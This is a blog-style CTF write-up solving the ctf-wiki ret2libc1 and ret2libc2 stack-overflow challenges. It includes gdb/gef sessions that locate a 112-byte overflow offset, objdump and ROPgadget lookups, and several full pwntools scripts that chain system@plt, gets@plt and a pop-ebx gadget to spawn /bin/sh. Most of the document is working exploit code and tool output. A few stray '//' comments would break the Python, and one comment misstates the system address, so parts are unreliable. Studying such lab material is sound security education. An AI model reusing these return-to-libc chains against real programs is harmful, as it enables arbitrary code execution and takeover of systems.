ROP----The Solution For Ret2libc

APP:

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3

 

TOOLS:

Gef plugin of gdb       ROPgadget     pwntools

Target:

1> Place the code in the buffer

2> Overflow the buffer

3> Overwrite the return address 

 

SOLUTION:

All apps have a simiar stack overflow,the follow step will ensure the length of input buffer. 

1. About overflow.

┌─[root@parrot]─[~/ROP]
└──╼ #gdb ret2libc1
gef➤  start
[+] Breaking at '{int (void)} 0x8048618 <main>'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7f9adc8  →  0xffffd3ec  →  0xffffd534  →  "SHELL=/bin/bash"
$ebx   : 0x0       
$ecx   : 0xba8e8d52
$edx   : 0xffffd374  →  0x00000000
$esp   : 0xffffd2c0  →  0x00000000
$ebp   : 0xffffd348  →  0x00000000
$esi   : 0xf7f99000  →  0x001d9d6c
$edi   : 0xf7f99000  →  0x001d9d6c
$eip   : 0x08048621  →  <main+9> mov eax, ds:0x804a060
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd2c0│+0x0000: 0x00000000   ← $esp
0xffffd2c4│+0x0004: 0x00c30000
0xffffd2c8│+0x0008: 0x00000001
0xffffd2cc│+0x000c: 0xf7ffc8a0  →  0x00000000
0xffffd2d0│+0x0010: 0xffffd320  →  0x00000001
0xffffd2d4│+0x0014: 0x00000000
0xffffd2d8│+0x0018: 0xf7ffd000  →  0x00028f2c
0xffffd2dc│+0x001c: 0x00000000
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048619 <main+1>         mov    ebp, esp
    0x804861b <main+3>         and    esp, 0xfffffff0
    0x804861e <main+6>         add    esp, 0xffffff80
 →  0x8048621 <main+9>         mov    eax, ds:0x804a060
    0x8048626 <main+14>        mov    DWORD PTR [esp+0xc], 0x0
    0x804862e <main+22>        mov    DWORD PTR [esp+0x8], 0x2
    0x8048636 <main+30>        mov    DWORD PTR [esp+0x4], 0x0
    0x804863e <main+38>        mov    DWORD PTR [esp], eax
    0x8048641 <main+41>        call   0x80484a0 <setvbuf@plt>
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2libc1", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048621 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  disassemble  main
Dump of assembler code for function main:
   0x08048618 <+0>:     push   ebp
   0x08048619 <+1>:     mov    ebp,esp
   0x0804861b <+3>:     and    esp,0xfffffff0
   0x0804861e <+6>:     add    esp,0xffffff80
=> 0x08048621 <+9>:     mov    eax,ds:0x804a060
   0x08048626 <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x0804862e <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x08048636 <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x0804863e <+38>:    mov    DWORD PTR [esp],eax
   0x08048641 <+41>:    call   0x80484a0 <setvbuf@plt>
   0x08048646 <+46>:    mov    eax,ds:0x804a040
   0x0804864b <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048653 <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x0804865b <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048663 <+75>:    mov    DWORD PTR [esp],eax
   0x08048666 <+78>:    call   0x80484a0 <setvbuf@plt>
   0x0804866b <+83>:    mov    DWORD PTR [esp],0x8048733
   0x08048672 <+90>:    call   0x8048450 <puts@plt>
   0x08048677 <+95>:    lea    eax,[esp+0x1c]
   0x0804867b <+99>:    mov    DWORD PTR [esp],eax
   0x0804867e <+102>:   call   0x8048430 <gets@plt>
   0x08048683 <+107>:   mov    eax,0x0
   0x08048688 <+112>:   leave  

0x08048689 <+113>: ret End of assembler dump. gef➤ b * 0x08048689 Breakpoint 1 at 0x8048689: file ret2libc1.c, line 30. gef➤ pattern create 128 [+] Generating a pattern of 128 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab [+] Saved as '$_gef0' gef➤ r Starting program: /root/ROP/ret2libc1 RET2LIBC >_< aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab Breakpoint 1, 0x08048689 in main () at ret2libc1.c:30 30 ret2libc1.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x0 $ecx : 0xf7f995c0 → 0xfbad2288 $edx : 0xf7f9a89c → 0x00000000 $esp : 0xffffd34c → "daabeaabfaabgaab" $ebp : 0x62616163 ("caab"?) $esi : 0xf7f99000 → 0x001d9d6c $edi : 0xf7f99000 → 0x001d9d6c $eip : 0x08048689 → <main+113> ret $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd34c│+0x0000: "daabeaabfaabgaab" ← $esp 0xffffd350│+0x0004: "eaabfaabgaab" 0xffffd354│+0x0008: "faabgaab" 0xffffd358│+0x000c: "gaab" 0xffffd35c│+0x0010: 0xffffd300 → "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]" 0xffffd360│+0x0014: 0x00000001 0xffffd364│+0x0018: 0x00000000 0xffffd368│+0x001c: 0xf7f99000 → 0x001d9d6c ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804867e <main+102> call 0x8048430 <gets@plt> 0x8048683 <main+107> mov eax, 0x0 0x8048688 <main+112> leave → 0x8048689 <main+113> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2libc1", stopped, reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048689 → main() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ ni //Execute it necessarily,so we could check the next address for return. 0x62616164 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x0 $ecx : 0xf7f995c0 → 0xfbad2288 $edx : 0xf7f9a89c → 0x00000000 $esp : 0xffffd350 → "eaabfaabgaab" $ebp : 0x62616163 ("caab"?) $esi : 0xf7f99000 → 0x001d9d6c $edi : 0xf7f99000 → 0x001d9d6c $eip : 0x62616164 ("daab"?) $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd350│+0x0000: "eaabfaabgaab" ← $esp 0xffffd354│+0x0004: "faabgaab" 0xffffd358│+0x0008: "gaab" 0xffffd35c│+0x000c: 0xffffd300 → "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]" 0xffffd360│+0x0010: 0x00000001 0xffffd364│+0x0014: 0x00000000 0xffffd368│+0x0018: 0xf7f99000 → 0x001d9d6c 0xffffd36c│+0x001c: 0xffffffff ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x62616164 ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2libc1", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search 'daab' [+] Searching 'daab' [+] Found at offset 112 (big-endian search)

THe length of input buffer is 112

2. ret2libc1
gef➤  checksec ret2libc1
[+] checksec for '/root/ROP/ret2libc1'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

  The NX protection has been enabled,so we couldn't use normal stack overflow method.
We try to calling external system function to execute system("/bin/sh") and complete this solution.
  Now,we need to check the system calling address,and check if "/bin/sh" exist in binary.
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -d ret2libc1 |grep system             
08048460 <system@plt>:                                    //The system function address is 0x0804a018
8048611: e8 4a fe ff ff call 8048460 <system@plt>
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #ROPgadget --binary ret2libc1 --string "/bin/sh"    //The shell's location is 0x08048720
Strings information
============================================================
0x08048720 : /bin/sh

So the exploit script as below(fill the input buffer,and call system function to execute "/bin/sh"):
#!/usr/bin/env python2

from pwn import * 

sh = process('./ret2libc1')
binsh_addr = 0x08048720               
system_plt = 0x08048460               
ret_after_system = "A"*4
#payload = "A"*112+p32(system_plt)+ret_after_system+p32(binsh_addr)
payload = flat(["A"*112,system_plt,ret_after_system,binsh_addr])
sh.recvuntil('RET2LIBC >_<')
sh.sendline(payload)
sh.interactive()

Automatic Script(Pwntools ROP):
#!/usr/bin/env python2

from pwn import *

sh = process('ret2libc1')
elf = ELF('ret2libc1')
rop = ROP(elf)

def pwn(sh,payload):
        sh.recvuntil('RET2LIBC >_<')
        sh.sendline(payload)
        sh.interactive()

binsh = elf.search('/bin/sh').next()
system = elf.plt['system']
ret_after_system = "A"*4

payload = flat(["A"*112,system,ret_after_system,binsh])
pwn(sh,payload)
Use the template of pwntools to generate script like below:
┌─[root@parrot]─[~/ROP]
└──╼ #pwn template ret2libc1 > ret2libc1_exp.py
┌─[root@parrot]─[~/ROP]
└──╼ #vi  ret2libc1_exp.py 
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2libc1
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('ret2libc1')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

io = start()
buf = ''
buf += "A"*(cyclic_find('daab')-len(buf))
rop = ROP(exe)
binsh = exe.search('/bin/sh').next()
system = exe.plt['system']
ret_after_system = "A"*4

payload = flat([buf,system,ret_after_system,binsh])
io.recvuntil('RET2LIBC >_<')
io.sendline(payload)
io.interactive()

3. ret2libc2

┌─[root@parrot]─[~/ROP]
└──╼ #pwn checksec ret2libc2
[*] '/root/ROP/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

  It's very similar to the previous,but there have no string "/bin/sh",so we need to write it to writable section.

check the writable section use readelf command,all sections which could be writen as below.

┌─[root@parrot]─[~/ROP]

└──╼ #readelf -S ret2libc2 |grep "WA"
  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000038 04  WA  0   0  4
  [24] .data             PROGBITS        0804a038 001038 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a040 001040 0000a4 00  WA  0   0 32

We could write "/bin/sh" to symbol "buf2" or "completed.6591" wthich in .bss section.

┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #objdump -t ret2libc2|grep .bss 
0804a040 l    d  .bss   00000000              .bss
0804a064 l     O .bss   00000001              completed.6591
0804a080 g     O .bss   00000064              buf2
0804a040 g     O .bss   00000004              stdin@@GLIBC_2.0
0804a0e4 g       .bss   00000000              _end
0804a060 g     O .bss   00000004              stdout@@GLIBC_2.0
0804a040 g       .bss   00000000              __bss_start
Because gets() function could accept input,so we try follow step.
1> Check the system plt address.
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -D ret2libc2|grep 'system'
08048490 <system@plt>:
 8048641:       e8 4a fe ff ff          call   8048490 <system@plt>
2> Check the gets plt address
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -D ret2libc2|grep 'gets'
08048460 <gets@plt>:
 80486ba:       e8 a1 fd ff ff          call   8048460 <gets@plt>

3> Check the return address of ebx.
┌─[root@parrot]─[~/ROP]
└──╼ #ROPgadget --binary ret2libc2 --only 'pop|ret' |grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

Automatic script as below:

┌─[root@parrot]─[~/ROP]
└──╼ #cat ret2libc2_exp.py 
#!/usr/bin/env python2

from pwn import *

'''
sh = process('./ret2libc2')
gets_plt_addr = 0x08048460              # objdump -d ret2libc2|grep gets
system_plt_addr = 0x08048490            # objdump -d ret2libc2|grep system
pop_ebx = 0x0804843d                    # ROPgadget --binary ret2libc2 --only 'pop|ret' |grep ebx
buf2 = 0x804a080
sh_addr = 0x0804857f
payload = flat(['A'*112,gets_plt_addr,pop_ebx,buf2,system_plt_addr,0xdeadbeef,buf2,sh_addr])
sh.sendline(payload)
sh.interactive()
sh.close()
'''

sh = process('./ret2libc2')

elf = ELF('./ret2libc2')
rop = ROP(elf)
def pwn(sh,payload):
        sh.recvuntil('?')
        sh.sendline(payload)
        sh.sendline('/bin/sh')
        sh.interactive()
# buffer which can overwrite
buf2 = elf.symbols['buf2']                        

# plt of gets() function.
gets_addr = elf.plt['gets']

# plt of system() function.
system_addr = elf.plt['system']

# ret for ebx
ret_ebx = rop.find_gadget(['pop ebx','ret'])[0]

ret_addr = 0xdeadbeef                        //Set a return to system.

# payload = 'a'*112 +p32(gets_addr)+p32(system_addr)+p32(buf2) + p32(buf2) 
# payload = 'a' * 112 + p32(gets_addr) + p32(ret_ebx) + p32(buf2) + p32(system_addr) + p32(ret_addr) + p32(buf2)
payload = flat(['a'*112,gets_addr,ret_ebx,buf2,system_addr,ret_addr,buf2])
pwn(sh,payload)
 
 
 
 


 

posted @ 2019-06-06 17:51  heycomputer  阅读(321)  评论(0编辑  收藏  举报